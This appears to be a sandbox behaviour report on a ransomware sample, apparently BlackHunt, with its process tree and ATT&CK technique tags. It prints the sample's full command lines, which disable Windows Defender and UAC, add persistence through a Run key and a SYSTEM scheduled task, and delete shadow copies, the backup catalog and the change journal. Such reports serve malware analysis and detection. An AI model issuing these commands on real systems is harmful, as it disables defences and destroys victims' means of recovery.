PID 4532 wrote to memory of 1864	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	141
PID 4532 wrote to memory of 1864	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	141
PID 4532 wrote to memory of 1876	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	145
PID 4532 wrote to memory of 1876	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	145
PID 4532 wrote to memory of 1332	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	148
PID 4532 wrote to memory of 1332	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	148
PID 4532 wrote to memory of 2420	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	149
PID 4532 wrote to memory of 2420	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	149

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
"C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe" /F
  2⤵
  PID:4180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3288
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4564
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4516
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4632
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3120
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5116
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5080
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3832
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1208
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1592
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3064

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2992

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:552

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4692

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery